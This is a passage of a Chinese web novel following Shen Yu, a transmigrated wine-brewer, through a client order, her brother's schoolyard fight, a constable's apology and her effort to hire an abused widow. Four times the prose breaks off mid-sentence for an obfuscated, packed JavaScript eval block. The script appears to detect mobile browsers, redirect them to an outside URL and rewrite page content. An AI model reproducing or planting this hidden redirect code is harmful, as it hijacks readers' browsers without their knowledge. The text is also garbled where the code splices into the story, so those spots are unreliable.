女人抿了一口，唇边浮出一丝惊喜，轻轻“咦”了一声，半晌才道：“这酒……入口温软，初不觉有酒意，竟是在舌根回香。你是动了心思的。” 沈钰略有诧异，目光微顿，随即笑道：“夫人舌头灵。” “这酒唤作何名？” “花影清酿。” 女人嘴角一翘：“听着就雅。姑娘，可愿替我做一壶生辰酒？我想邀闺中姐妹共饮。” 沈钰一愣，旋即一笑：“若夫人不嫌小户寒碜，自然应允。不知夫人什么时候取酒？” 那妇人从袖中掏出一个绣着白鹭兰草的荷包：“妾夫君姓赵，在县衙做些笔墨案牍。酒要六月初五，今日先付赏银，若酒好，再添重谢。” 沈钰接过荷包，略一掂量，心头一喜。 “香气淡雅些就好。”赵夫人收回目光，唇角仍带着几分笑意，“到时送到赵府便可。” 目送赵夫人离去，沈钰将荷包贴身收好。 吴娘子凑近来，艳羡不已：“来大生意了啊，这赵夫人可不一般。” “哦？姐姐知道？” “赵夫人娘家是开林记绸缎庄的，在咱这边几个县都有分号，早些年还跟州府那边的官家做过生意哩。她亲兄弟如今在府里当库吏呢。” 吴娘子压低声音，又道：“嫁得也不差，赵大人是县衙里的笔帖式，能写能断，听说连县太爷拟折子都要请他过目。前阵子才听说他要升主簿，眼看着就是正经的九品官了。” 沈钰若有所思。 她没想到，自己居然还能做到官太太的生意，这可是一次宣传她酒的好机会。 …… 太阳偏西，摊子收拾停当，沈钰把坛盏利落收入箩筐，推车离开巷口。 天边只剩一点薄光，一道瘦瘦的影子正蹲在门槛边，手里拿着根小木棍，在地上一笔一划地划着什么。 “铭哥儿？” 那影子一抬头，果然是沈铭，嘴角有点肿，眼角还挂着点灰。 “姐，你回来了！”他咧嘴一笑，刚站起身来，脸上一抽，倒吸一口冷气，“嘶……” “你脸怎么了？和人打架了？”沈钰脸色一沉，赶紧把箩筐放下，三步并作两步走上前，捧起他的小脸仔细查看。 “我……没啥大事。”沈铭躲了下，嘴硬地说着，却还是被姐姐两指一捏，疼得直哎哟。 “说不说？” “是程章那个臭小子！”沈铭鼓起腮帮子，“他先骂人的，我我就踹了他一脚。” “程章？”沈钰皱了皱眉。 “程捕头的弟弟，今天不知道抽了什么风，他笑话我！说我字写得像难看……还说我你……” 沈铭看了一眼沈钰的脸，没说下去。 沈钰忍着没笑出来，抬手轻轻给他擦了擦伤口，语气放柔：“所以你就跟人打起来了？” 沈铭低头踢了踢地：“反正他也骂我，我不打他，谁打？” 沈钰取了药布替沈铭敷伤，一边问：“你怎么不回家？伤成这样，就蹲在我门口？” 沈铭吸了口凉气，别开脸小声道：“不敢回。” “你怕什么？” 他声音更低了些：“娘要是知道我打架，非得骂死我不可。” 沈钰手上动作一顿：“她骂你，你还不是照回去挨。” “那不一样。”沈铭撇了撇嘴，语气幽怨，“她不骂别的，就骂‘一个吃我穿我的还要出去闯祸的白眼狼’，从门口骂到灶台边，连我爹都能被她翻出来数落一通。” 沈钰轻轻叹了一声，动作放缓些许。 “你不是最能顶嘴，怎得也怕她了？” “她是我娘，我哪敢真顶。”沈铭悻悻道，“再说了，她虽骂得凶，可我若真惹出事来，她还不是要扯着我去人家门前认错，我又没做错。” “你觉得没错，就能抡拳头去揍人？你才多大？” 沈铭不吭声。 她又问：“你是哪只手打的人？” 沈铭举起拳头：“这只。” “有没打骨头上？他有没有出血？” “没有……” 沈钰点点头，神色平静：“明儿见着，问他一句手上如何，送两块桂花糕过去，不是赔不是，是做个了结。” 沈铭狐疑地看她：“那他要说我孬？” 沈钰笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763914|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑：“你姐我孬不孬？” 沈铭嘀咕：“你最厉害了。” “那就对了。”她拍了拍他头顶，“会讲理的人，从不靠动手显本事。” 院外忽地传来尖利的喊声：“沈铭！你这混账小崽子！又闯祸了是不是？给我滚出来！” 紧接着，杨淑惠手里拎着竹扫帚，一脚踹开院门，杀气腾腾地冲了进来，声音响得连屋檐上的鸟都被惊飞。 沈铭脸色一变，蹭地一下躲到姐姐身后。 “我娘来了……”他小声提醒。 “你还敢躲！”杨淑惠眉眼吊起，扫帚一扬，“我一大早去卖菜，回来就听见你跟人在书院打架，丢不丢人？还打输了？” “二婶。”沈钰淡淡开口，挡在沈铭面前，“这事我已知晓，铭哥儿也认了错，我罚他抄书。” “你罚？你又不是他娘！别人家孩子都是念书的命，怎么就你不行。”杨淑惠尖声道。 沈铭低着头，声音闷闷的：“我又不是乱打人，是他先骂的。” “你打的是哪个？” “……程章。”沈铭小声说。 “哪个程章？” “程捕头的弟弟。” 杨淑惠的声音戛然而止，脸色顿时变了三分。 “你说……你打的是程家的弟弟？”她扫帚停在半空，眼神闪烁，“县衙那个程捕头？” 沈钰轻轻“嗯”了一声。 杨淑惠嘴角抖了抖，一时没出声。 “你个小混账！谁不好惹你惹他！”杨淑惠气得直跺脚，“你是嫌咱这一屋人活得太舒坦是不是？” “人家那是什么身份？人家哥哥是谁？你在街上打他？你打的是他一张脸，你抽的是咱一家的命根子！” 她抄起帚把就要砸，沈铭吓得往沈钰身后一缩。 “二婶。”沈钰出声挡住，神色淡淡，“他也伤得不重，铭哥儿也认错了。” “认错有用？你知不知道人家那孩子写了篇文章被州府的老爷夸进了案牍？连县老爷都盼着他考中秀才呢！” “好了，二婶。我信程捕头不是那种拿官威吓唬平民百姓的人。咱们一会儿去他家看看他弟弟伤势，再带点东西。” “这倒是。你这个小兔崽子，下次再敢打人！” 沈钰话音未落，院门吱呀一声被推开。 一道高大的身影立在门口，墨色捕袍尚未除下，眉眼冷淡，气息沉沉。 正是程易。 杨淑惠一见，手脚顿时不知往哪放，连忙往后缩了半步。 沈铭整个人僵在姐姐身后，脖子都快缩进了衣领里。 沈钰神色却无波无澜，只微微抬头，与那道沉冷的视线对上。 程易扫了一眼屋中众人，最终落定在沈钰身上，语气不轻不重：“我来，是为程章的事。” 5. 赔礼 初夏的风，在黄昏时带着一丝燥气。 “今日来，不为公事，”程易表情不似平日那般冷硬，他顿了顿，从身后取出两样东西，一包茶叶和一包点心，“是来为犬弟之事赔礼，对不住了。” “程捕头你看看，真是太客气了。本来就是小孩子之间的打打闹闹，哪用得着您跑一趟。”杨氏喜滋滋地接过程易递过来的东西，这包装看起来都不便宜，想必是好东西。 沈钰站在一边没说话，本来她还想上门去看看程易弟弟，不知道他伤得重不重，没想到程易倒是先过来了。 “臭小子，还不快点过来跟程捕头赔个不是！”杨氏把躲在沈钰背后的沈铭一把揪了出来，按着他给程易弯腰低头。 “娘！你干什么啊！”沈铭本来就有点怕程易那张冰块脸，现在更是又羞又恼，但也不敢完全挣脱杨氏。 “不用。” 程易的眼神，让杨氏尴尬不已。 她自然看出程易懒得和她说话，但也不敢把人晾在这里。 “我已经教训过犬弟了，但他性子倔，不肯跟我一起过来，我让他明日在学堂给沈弟亲自道歉”，程易这番话是对着沈铭说的，但他的眼神却有意无意的飘向沈钰，“若是那小子还是出言不逊，沈弟你可以告诉我。” “啊？”沈铭张大嘴呆呆看向程易。 别说他，就连杨氏也很意外。 镇上谁不知程易素来冷面无私，从不肯为谁说情。几年前还有个富户家的儿郎，仗着钱势胡作非为，也被他当街绑去县衙。如今倒似乎……语气和缓不止，看起来很好说话的样子。 “今日来，也是想和沈姑娘说一声抱歉。” 沈钰不知道怎么还有她的事。 “犬弟对沈姑娘出言不逊，我在这里代他给你赔礼，若是日后镇上有遇到什么麻烦，或是有人找事，大可报上我的名字。” 杨氏作为过来人，一眼看出程易看沈钰的眼神不对劲，分明是看上了。眼睛一转，主动拉着沈铭先走，想把地方让给两人。 虽然程易年纪是大了一些，二十有四，还要供着弟弟念书，但毕竟在镇上的确颇有威风，不少人都会给他面子，而且也从没听说程易和哪个姑娘走得近过。 再加上他的弟弟程章也是远近闻名的天才，未来前途不可限量。要是沈钰真的能和程易走到一起，她儿子沈铭想来也能有不少好处。 “姐！我就说是程章那小子先骂人的！不然我才不会打他呢。”沈沈铭委委屈屈地对沈钰说。 “钰丫头，你招呼程捕头，我先回去了。”杨氏拉着还不想走的沈铭走了。 刚刚还有些嘈杂的小院，一下只剩下沈钰和程易。 沈钰不知道程章到底说她什么了，居然能让沈铭那个傻小子动手打人，想来不是什么好话。她不想知道的太详细，省得自己恼火。也不知道这个程易平日里怎么养小孩的，弟弟养歪了都不知道。 “程捕头，不知您平日里和令弟交流多么？” “尚可。” “依我看，小孩子的成绩固然重要，但关心他的心理健康的成长。” “什么意思？” “就是说你得注意他平日里和什么人交流，看什么书，多关心关心他，不然容易让他胡思乱想。” “知道了。” “我跟你说，越是聪明的孩子越要好好引导，还有……” 沈钰想讲点她以前和她表弟相处中摸索出来的经验，也是个犟种，最后也还是被她调好了。 …… 沉默。 沈钰陪着笑，程易面无表情地听着。 “沈钰妹妹，我来……程捕头？” 杨宇是来找沈钰的，没想到居然会看到程易。 “杨宇哥你来了。”沈钰笑着打了招呼，又不着痕迹地瞄了眼程易，意思让他赶紧走。 “嗯，你上次说要做的壶，我做好了，带过来给你瞧瞧。” 杨宇是镇子里有名的烧制好手，沈钰想让他帮忙给自己的酒专门设计集中包装瓶，就让沈铭帮她跟对方说了这件事，没想到效率这么高。 “我看看。” 瓶体如半开的梅苞，瓶身上还点缀了几条梅花枝，看起来精致小巧，一眼就能看出是花了大心思制作的。 “怎么样？是你要的那种吗？”杨宇紧张地问。 “是！” 程易皱眉，看着沈钰大大咧咧地拍着杨宇的肩，那小子脸都红了。 “咳咳。” 程易非常刻意的咳嗽了一声，眼神愈发冰冷。 刚刚沈钰完全沉浸在自己设计成果被制作出来的喜悦中，压根儿不记得程易还在呢。 “程捕头？您不然先回去？我下次再跟您说？” 这是明晃晃的赶人走了。 “我记得你，杨家的小子，你上个月成亲了是吧。这么晚了，还是快些回家，莫让家人担心。” 程易走近，不甚明显地将二人隔开。 “呵，程捕头说的是。那我们别打扰沈钰妹妹了，这天快黑了，确实不妥。”杨宇没多想，连忙点头称是。 两个人正要一起离开，沈钰连忙喊住人：“诶，等等！” 杨宇和程易齐刷刷转过头，看向她。 “杨宇哥，这瓶子你能量产吗？我想向你定制一批，价格的问题好说！” “这瓶确实烧制起来不容易……”杨宇笑得有些干，“我回去和我爹他商量一下，我让他给你个合适的价。” “没问题，真是麻烦你了，杨宇哥！”沈钰想到以后她的酒可以装在她设计的瓶中售卖，心里乐开了花，面上笑得灿烂，脸上也兴奋地泛红，整个人看起来娇俏不已。 “走了。”程易低声告辞。 杨宇听到程一的声音，也挠了挠头赶紧告辞。 …… 吃过晚饭，沈钰将白天赵夫人给的定金拿出来点了点，足有一两银子，确实是个不缺钱的主儿。她有预感，这单要是做得好，她的事业能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763915|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上好大一个台阶。 赵夫人今天对她的花香型酒感兴趣，但沈钰觉得，赵夫人应该会更喜欢她曾酿制过的另一种酒，这是她看到那个兰草荷包时就产生的一种想法。 马王堆帛书《养生方》上记载过一种酒，名为“椒柏浸兰英”，以兰花、花椒嫩芽、柏子仁入酒，酒体微辛回甘，兰香为主调，椒柏香若隐若现，用来给女子祝寿再合适不过了。 酿制椒柏酒，最重要的就是花椒芽和兰花的选择。花椒芽在秦汉时算是奢侈品，在这个朝代虽然贵，但也不难找。不过现在已经过最佳的摘芽时节，恐怕只能找干花椒叶来替代，不知道对口味的影响会有多大。至于，兰花选建兰、春兰、惠兰即可。最好还能想办法搞到一些蜂蜜，给酒增点甜味，想必可以让女子更好入口。 沈钰兴致勃勃地拿出她的小本子，用炭笔记录下她的一些酿酒灵感。这小本子是她穿越后，开始酿酒时就一直在记录的，里面已经密密麻麻写了不少酒，还有一些她制定的发展计划。 研发新酒、稳定客源，已经被她打上了钩，下一步的关键就是要拓展人手、寻找长期合作商以及尽快盘下一家实体铺子了。 要将她一身酿酒技艺发扬光大，人力是少不了的。仅凭她一人，每天产出的酒太有限，必须要尽快找到合适的人手，扩大产量。 这段日子，沈钰也发现，这个时代对于女子在外抛头露面，虽然不是特别严苛，但也算不得友好，总是会有不少男子投来不怀好意的目光。她有个想法，想办个主要由女性组成的酒坊。也许她的行为并不能改变这个时代对女子经商的看法，但若是能让一部分人意识到女子的力量，也是好的。 其实，她也已经看中了一位人选，张家的娘子，刘氏。她打听过了，刘氏嫁过去两年，她丈夫就意外去世了，留下她和一个小女儿。夫家对她很不好，听说还想把她送给镇上的地主做妾。 刘氏的吃苦能干在镇上是出了名的，人也长得端正。沈钰也见过，才二十出头的年纪，还年轻着呢！刘氏女儿才四岁多，刘氏要是真的被送人了，这个小姑娘还不知道会怎么受张家折磨呢。 沈钰想着明天就去张家问问，愿不愿让刘氏先跟着自己，要是不放人，她再想法子。程易那张冰块脸突然出现在了她的脑海里，她有了个不错的主意。 沈钰幻想着未来属于自己的酒坊，脸上的笑容溢了出来。 不过既然要找程易办事，还是主动上门给人弟弟道个歉比较好吧？虽然程易一直强调说不用。也不知道那个小孩被打得有多惨。她是知道沈铭这孩子有点怪力在身上，力气可不小。 程易的弟弟该不会是个小冰块吧？ 想到一个缩小版的程易被人狠狠揍，这个画面好像有点好笑…… 趁着天色还没完全黑去，沈钰回厨房，准备做一点小孩子爱吃的点心，明天早点收摊去书舍看看两个小霸王好了。 好忙好忙。 沈钰擦了擦额头上的汗水，努力的揉着面团。 6. 探弟 清晨院中还弥漫着薄雾。 沈钰一早便起了身，将昨晚浸泡一夜的糯米用竹篮捞起，控去水分。她昨日就想好，仿照雪媚娘，做一款软糯的小点心送到学舍，看看自家沈铭和程易弟弟程章。 算算日子，沈铭也去读了快半个月的书了，也不知道这小子和其他小朋友处得怎么样。 做雪媚娘就必须要形如雪团，皮软如绸，但入口却要爆出蜜脂。眼下条件有限，她没有奶油、冰箱，只能用其他方法还原口感。 沈钰先将糯米磨成米浆，又加入许多淀粉增添稠度，用纱布过滤出细腻米糊。因为前世喜欢做些点心，她经常在网上看一个甜品博主，在没有烤箱的条件下还原各式各样的甜品。 回忆起曾经看过的视频，如果想让雪媚娘的皮绵软滑嫩，就得米浆先拌上一点花蜜，在加葛粉提筋，这样就能变得软透。 做完这些，沈钰又将调好的米糊倒入蒸盘薄铺一层，上笼蒸熟，取出后趁热反复揉压，放与木案上轻摔十数次，提升面皮的弹韧感。 趁着米皮放凉，沈钰开始调制内馅。 糖脂以猪板油打底，佐以蜜豆沙、桂花碎等。馅团逐一搓圆后，再用米皮裹上，轻轻收口，撒上薄薄一层炒熟的糯米粉防粘。每一个团子都白白软软，像一个个雪团子。 沈钰满意地看着成品，拿起一个雪媚娘，咬了一口，她的眼睛立刻亮了起来。 外皮糯糯的很有嚼劲，有着糯米自带的微甜，里面的馅料用得扎实，豆沙绵软还掺着一丝桂花香气，甜度适中。 不错，看来她搭配酒来卖的点心又可以加一样了。 沈钰吃完后，擦干净手，立马在她的小本子记录下雪媚娘这一道点心，顺带还加了几个她觉得日后可以改良的口味，比如山楂泥、莲蓉、酒酿之类的。 一个、两个、三个…… 吃完一个后，还剩下八个，沈钰给沈铭和程章一人包了两个，准备中午送去书舍。 将雪媚娘都打包好，沈钰进了酿房。 时间还早，她今日不出摊，刚好在家中把囤的干果和香料分门别类整理出来。赵夫人的酒得用更好的细作料，比如橙皮丝、兰花蕊等等，那几样她曾在铺子里见过，这两天得赶去挑一挑货。 中途，她顺手还把书案上的账册理了理，把昨日收的钱银点了数，装进瓷罐，又将备货清单按月分列。这些事若不提早安排，她那点银子可经不起铺子的进货开销。 忙完所有的事，刚好快到饭点。 沈钰拎着东西直奔镇上的学舍，靠近县署后街，是镇上一位吴老秀才创办的，镇上不少孩童都在读书识字。吴老先生年近六旬，文名不显但讲学极严。 学舍不大，进门便见几扇陈旧格窗透着日光，孩童们端坐书案，手执朱笔，一字一句跟着先生诵读。院中有棵老槐树正好挡了阳，几张石凳石桌在斑驳的树荫间，沈钰带着食盒坐下，没过多久读书声散去，孩童们嬉笑着跑出来。 “沈铭！” 沈钰一眼瞧见自家长得壮实的弟弟，招手示意他过来。 “姐，你咋来啦？” 沈铭乐颠颠地跑到沈钰身前，一脸好奇看食盒。 “今天学得怎么样？没和人家再打架了吧？”沈钰打开食盒，取出雪媚娘，放在桌上。 “没有……姐，这是什么呀？”沈铭头也不抬，眼睛粘在那几个雪白的糯米团子上。此从他姐病好之后，总能看到姐做些他从没见过的点心。 “先别吃，”沈钰把沈铭蠢蠢欲动的手拍下，“你叫程章过来一起。” “切，他不在。”沈铭不忿地撅了撅嘴，“早上一来就被人喊走了，说是县里州府那边来了什么人，想见他。” “那他今天就不来了？” “切，真好，不用听先生讲课咯。” 沈铭用圆溜溜的眼睛讨好地看着沈钰，双手合十抱在胸前，一副馋样掩盖不住。 “行啦，你吃吧，先擦擦手。” “好。” 沈钰用帕子替弟弟擦了擦手，才准许他拿点心。 沈铭早就忍不住馋虫了，挑了一个最大最圆的雪媚娘，小心翼翼咬开一口。糯米皮有些许粘牙，里面是磨的细细的的甜豆沙，外皮又刚好中和了这股甜味。 “怎么样？” 沈钰虽然对自己的手艺很有信心，但也希望得到更多认可。 “好吃！姐，这个团子好特别啊，而且一点也不甜腻。”沈铭三两口吞掉手中的雪团，给了大大的好评。 “剩下的，也都是我的吗？” 沈铭眼巴巴地看着余下的三个雪媚娘，嘴角还有没擦干净的糯米粉。 “行啦，你都拿走吧，慢慢吃，这糯米不易消化的。姐下次再来。” 本来今日是想见一见程章，没想到刚好错过了，沈钰也不多留，她还有其他的事情要做。 今早在家整理了香料干果，赵夫人生辰酒的原料还差着许多，得赶紧上铺子里找齐，已经收下定金就得把事情做好才成。 酿造椒柏酒最重要原料花椒芽，在春二月最嫩，但已经是农历四月末，不可能有合适的嫩芽了，只能找干花椒代替。干花椒辛香味香味更稳定，便于浸泡入酒，也不失为一种好选择。 “哟，沈姑娘来啦？” 叶掌柜停下算账，笑眯眯地和沈钰打了声招呼。 为了研制新酒，沈钰这段日子里跑了不少趟药铺，一来二去和叶掌柜也成了忘年交。 叶掌柜一开始也好奇，沈钰一个年级不大的姑娘，时不时就来他店里买些干货、药材，虽都是些寻常物，但也着实令人好奇。没想到这姑娘竟然是用来酿酒的，药酒不少见，但也很少有人能把药性和酒中和在一起，一般不是药性大大损失，就是口味不佳，难以下咽。 沈钰有时候也会把新酿制的酒带来给他尝尝，每一种都让他感叹，也不知道她是怎么有这么多想法的。 “叶掌柜，有没有蜀椒？” 花椒不算稀罕物，寻常百姓也有用花椒入菜入药的。不过，坊间多卖的是关中秦椒，籽重皮薄，出香快但留香次一些，若要酿酒，还得是蜀中的蜀椒，也叫汉椒，温而不烈，回味长久。相应的，价格也会贵上一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763916|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶掌柜摸了摸胡子，思索道：“蜀椒店里还有些存货，沈姑娘要多少？” “先看看货再说。” 伙计取来干花椒，沈钰捏了一粒花椒在指尖，细看片刻后，微微一笑道：“色泽暗了些，籽倒是不多，虽不是顶好的，也算中上了。” 叶掌柜听着她挑剔的话语，哭笑不得。 这批蜀椒可不是便宜货，到了她嘴里倒成了勉强堪用之物。不过，他也早就见识过这姑娘的眼力，的确不凡。 “这些可是我店里的上品了，绝对是品质好的老货。” “好啦好啦，掌柜的，这些都要了。” 沈钰确认好分量，等掌柜称好后，利落付了钱，又顺带挑了几味香料。 她翻开自己随身带的小册子，略一对照：“再要三钱橘皮、一撮白蔻，哦，还有点茉莉蕊，也称上两钱吧。” 这些香料她前几日试过，能与花椒香味相辅相成，用得好不仅不冲，反能提香生津。 叶掌柜一边吩咐小伙计称量，一边笑道：“沈姑娘这酒方，老夫是真想学个一二。” “酒好不好喝，不只看药味，还得讲个顺口，”沈钰也不藏私，“这法子是我爹早年留下的，只是我后面自己琢磨着改了改。说到底，也是试出来的。” 等一切都收拾妥当，她将新买的材料收入布袋，拎着转身欲走。 叶掌柜却压低了声音，将她叫住：“沈姑娘且慢。” 沈钰一愣，回头看他。 只见叶掌柜四下扫了眼，确认伙计都去忙了，才靠近半步，语气中带了丝郑重：“前日，有个穿着青布袍的中年人来店里，没买东西，只打听你最近常买些什么。” 沈钰笑容淡了些：“是吗？” “他先是随口问有没有姑娘经常来买东西，又打听你买些什么。我敷衍了几句，那人看我不松口，没再说话。走的时候还留赏钱，说若是你以后再来，让我留意你拿了什么、买了什么。” 沈钰没有立刻说话，只是用指尖敲着布袋口。 一连串念头飞快闪过脑海。 自己确实在上个月试酒时，将一小壶样酒送给了一位主顾品尝； 若那人别有用心，未尝不能以酒盗方，再以赏钱收买消息…… 她勾了勾唇，眉眼却未带半分笑意：“这赏钱，叶掌柜您收下了？” “嘿，我虽是小本生意，也知道见利忘义的下场。” 叶掌柜叹道，“实话跟你说吧，我是看你年纪轻轻，却做事干净利落，又不哄抬乱价，我这身子一日不如一日，又偏偏好上一口酒。家里的婆娘本是不让我多饮的，要不是看在你的药酒上，我可喝不上一口。你要是真有事，那我也没好处。” 沈钰心中微动，郑重道：“多谢掌柜提醒。此事我心中有数。” 她顿了顿，又低声道：“日后若再有人来问我事，您该敷衍就敷衍，别太认真。但若对方真做出什么……我自会应对。” 叶掌柜点点头：“姑娘放心。” 沈钰收好账单，转身离开时，眼神清亮冷冽了几分。 7. 寻人 午后，天光正暖。街头行人渐稀，西街尽头张家门口，一道清瘦人影悄悄站了片刻。 沈钰衣襟被风吹得微微扬起，她想上门探探刘氏的底细。 那日在街头听王屠夫娘子闲谈，提起张家新寡妇手脚麻利，连镇上的绣房都曾招过她去。只可惜新寡妇身不由己，被夫家紧锁在宅中，打算拿她换门好亲事，早早典出去。 沈钰有意扩充人手，若不趁这几日打点妥当，等生辰酒的备料一上来，她可真要忙不过来。 张家院门老旧，里头隐隐传出争吵声来。 “你还装清高？咱们家好吃好喝的供了你两年，真当是哪里的小姐了？前儿个李家松口了，要你搬去，你倒跟我扯什么不情愿？” “娘……我不愿再改嫁。囡囡她还小……” 那细细的女子嗓音带着惶恐与哀求，可话未说完便被一记怒喝打断。 “还敢顶嘴？你有胆子从我家吃穿用度，就该认命！” 沈钰微怔，眉头紧蹙，脚下未动，心却已沉了几分。 原想着悄悄探底，没成想正撞上了张家逼嫁的光景。她咬了咬牙，终是抬步走上前，扣了扣那扇半掩的门。 “谁呀？小贱蹄子一天天尽惹祸！” 门吱呀一声被推开，院中三张面孔一时间怔住。 沈钰温声开口：“刘婉在家么？我有桩小事，想与她说一说。” 那年迈的张婆子眯了眯眼，目光从沈钰一身干净布裙扫过，冷嗤一声：“你是哪家姑娘，来我张家寻个寡妇作甚？” 沈钰抬手将袖口理了理，不慌不忙道：“我近日正想找个做事仔细的女手，听人说张家刘氏绣活细腻、懂得香料，是个能干的巧人儿。想来看看她可有意愿在我铺子帮些手。” 她话虽说得客气，目光却扫过院角那身影，刘婉低垂着头，手心似还握着刚才被扯开的布角，面色苍白，眼里却有一瞬的怔神。 张婆子哼笑一声：“你若真缺人手，街头招一个就是，何必惦记咱家守寡的？” 她话锋一转，语气陡冷，“再说了，刘氏可是我们张家的人，哪轮得到你一个外人来管？” 沈钰不怒反笑：“我问的是刘婉姐，哪有你的事？” 说罢，沈钰看向站在一旁不安发抖的刘婉。 身着一身粗布麻衣，衣服上打着几块补丁，头发挽起只在耳边散着几缕碎发，乌黑的髻上没有一根钗子。 连旁边骂人的张婆子头上都插着几根木钗，真不知道这家人是怎么对自家媳妇的。 刘婉还牵着个小女孩，年纪不大，也是一身坠着补丁的破烂衣服，但身上倒是干干净净的。 小女孩正用乌溜溜的眼睛盯着沈钰猛瞧，尤其是看到她身上好看的头饰、耳边坠下的流苏耳坠，眼神里藏不住的欢喜。 沈钰有个爱好，就是喜欢把自己打扮得漂漂亮亮的，不为别的，就为自己喜欢。虽然她的酿酒事业还在起步阶段，她还是花了不少银子在买各种首饰衣服上，添了不少新物件。 她今日选了一套豆绿色的斜襟短袄，下身着一条艾草灰绿色的棉布褶裙。头发梳成双螺髻，用同色系的头绳扎牢，显得干净利索。右侧发髻上别着一枚精巧的烧蓝蝴蝶发梳。而她小巧的耳垂上，正缀着一对绿豆大小的岫玉珠子。 沈钰看出小女孩的心思，朝她释放出善意的微笑。 女孩没说话也没回应，只是眼巴巴地瞅着她。 “姑娘，多谢你的好意。我，还是算了吧……”刘婉声音凄苦，对沈钰露出一抹苦笑。 “哼，哪里来的野丫头，来我们张家撒野？” 张婆子言语刻薄，露出讥笑。 她自然不把沈钰这样的小姑娘放在眼里，沈钰看起来就是个肩不能扛的。 张婆子的老伴也走了不少年了，留下她和儿子，好不容易给娶上媳妇。没想到这刘婉也是不争气的，几年就生了个女娃，光吃不做。后来，她儿子也活生生被这个女人害死了，就留下她们三个女人。 张婆子不懂有种东西叫遗传病，自然把所有过错归于刘婉身上。她觉得，一定是刘婉没能好好照顾她儿子。毕竟，她的婆婆也是这么骂她的。 沈钰不懂张家的事，她只是看不惯女人这么欺负女人。 “刘婉姐，我是街口卖酒的沈钰，要是你想来帮忙，就来东巷的沈家找我，我是从前卖酒的沈怀东女儿。” “原来是你。”张婆子有了印象。 沈怀东也是个爱管闲事的主儿，总喜欢掺和别人的事，她瞧见过几次。那人死之前好像还和个什么人吵过，只是她撞见的时候天太黑，没看出和沈怀东说话的是哪个。 “沈丫头，我劝你快点走，不然我老婆子可不怕丑，我要让周围街坊看看，你是怎么闯到别人家神气的！” 张婆子语气不善，双手叉腰，中气十足。 沈钰自知理亏，她本来没想闯进来，只是在门口实在听不下去那些辱骂话语，才硬是进来打断张婆子的话。 “刘婉姐，你记得来找我啊！”沈钰没理会张婆子，双手握住刘婉的手，才转身离去。 走出张家，沈钰脸色一沉。 她刚刚感觉到了刘婉双手的粗糙，明明看起来不过是个二十多岁的年轻女子，怎么会手粗得像砂纸。 刚刚那小姑娘，虽然看着机灵，但也瘦得不像话，和她娘刘婉一样，一看就是没怎么好好吃过饭。 反观张婆子，养得倒是圆润。平日里不知道怎么压榨人家两母子呢。 她今天只是主动向刘婉表明了想请她干活的意图，但仅凭这样肯定不行，张婆子不会放人的。 只能她想法子给刘婉加把火，让人主动迈出一步才成。 沈钰想到刚刚小女孩对她身上这些首饰的注意力，脑海中有个想法。 只希望张婆子别太快作妖，真得一点情面都不讲，直接把刘婉塞给那什么李家。 李家是镇里有名的富商，不是因为他们家多有钱，而是因为李家老爷的特殊癖好。 听说，李老爷爱女色，而且还偏爱成熟少妇人妻，还喜欢在办事时用些暴力。在沈钰看来，这李老爷就是个妥妥的绿帽癖和给别人施加痛感的癖好。 刘婉那小身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763917|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板，怎么能熬得住？ 而且，沈钰觉得，张婆子大概率会把小女孩留下，让她伺候自己。有了女儿当把柄，刘婉最后肯定只能乖乖嫁给李老爷。 想到这些，沈钰心里积着一口气。 前段日子她也差点被二婶杨氏逼着嫁人。只是后来，她不经意地向杨氏展示了一下自己的武力值，还主动承担了沈铭一部分的学费，这才作罢。 酿酒不是个简单活，她早就锻炼出一身力气，别看她人纤细，有的是牛劲，手臂一使劲还有薄薄的肌肉呢，只是平日藏在衣袖里瞧不见。 也许是沈钰一来就甩斧头砸地，后面有当着杨氏的面扛起好几次缸，给她留下太深刻的印象了，杨氏近来老实了不少。 沈钰想着刘婉的事，一时不察和人撞了个满怀。 “对不起，诶，程捕头？” 怎么又撞上这冰块脸，沈钰暗自吐槽，脸上却笑意盈盈。 